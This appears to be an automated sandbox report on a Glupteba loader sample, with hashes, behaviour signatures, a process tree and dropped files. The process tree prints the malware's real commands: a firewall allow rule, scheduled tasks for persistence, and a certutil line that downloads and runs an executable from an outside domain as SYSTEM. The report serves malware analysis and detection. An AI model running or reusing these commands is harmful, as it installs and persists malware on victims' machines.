Analysis

  • max time kernel
    146s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    13-06-2024 16:53

General

  • Target

    a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    a6996f92201f52dfbfd85c841d6c8d04

  • SHA1

    48a880fbd32d897ae019d1b1237aad3e7586ee2b

  • SHA256

    7d6252a0581bc43ac81e53210cbca042202ac43acec17dfe59eca5cea30dfdd8

  • SHA512

    d49ccb8cee040ce46c24f14439141fbf3d2eacbb16c76afbf504bfb865e5135c9e02f32d4e4db720e1de29688e6630f4f1d37df041b3c6631db0f756919a5fbe

  • SSDEEP

    98304:Ob09+64ZfKhGeWcR2wG3iC/KpHmH3GkY/2a/xB:qO6ZfKh5wc5m2JJ7

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 23 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 11 IoCs
  • Windows security modification 2 TTPs 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2284
    • C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\1b8bb85736b7\1b8bb85736b7.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2436
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\1b8bb85736b7\1b8bb85736b7.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2468
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2900
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2104
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:840
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:620
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2328
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240613165328.log C:\Windows\Logs\CBS\CbsPersist_20240613165328.cab
    1⤵
    • Drops file in Windows directory
    PID:2584

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    3.7MB

    MD5

    a6996f92201f52dfbfd85c841d6c8d04

    SHA1

    48a880fbd32d897ae019d1b1237aad3e7586ee2b

    SHA256

    7d6252a0581bc43ac81e53210cbca042202ac43acec17dfe59eca5cea30dfdd8

    SHA512

    d49ccb8cee040ce46c24f14439141fbf3d2eacbb16c76afbf504bfb865e5135c9e02f32d4e4db720e1de29688e6630f4f1d37df041b3c6631db0f756919a5fbe

  • memory/620-54-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/620-53-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2284-7-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

  • memory/2284-5-0x00000000018E0000-0x0000000001FDC000-memory.dmp

    Filesize

    7.0MB

  • memory/2284-6-0x0000000001530000-0x00000000018D9000-memory.dmp

    Filesize

    3.7MB

  • memory/2284-0-0x0000000001530000-0x00000000018D9000-memory.dmp

    Filesize

    3.7MB

  • memory/2284-4-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2284-3-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

  • memory/2284-2-0x00000000018E0000-0x0000000001FDC000-memory.dmp

    Filesize

    7.0MB

  • memory/2284-1-0x0000000001530000-0x00000000018D9000-memory.dmp

    Filesize

    3.7MB

  • memory/2616-9-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2616-10-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2616-8-0x00000000016C0000-0x0000000001A69000-memory.dmp

    Filesize

    3.7MB

  • memory/2616-21-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2616-11-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-64-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-68-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-56-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-22-0x0000000001490000-0x0000000001839000-memory.dmp

    Filesize

    3.7MB

  • memory/2900-23-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-65-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-66-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-55-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-69-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-70-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-71-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-72-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-73-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-74-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB

  • memory/2900-75-0x0000000000400000-0x0000000001319000-memory.dmp

    Filesize

    15.1MB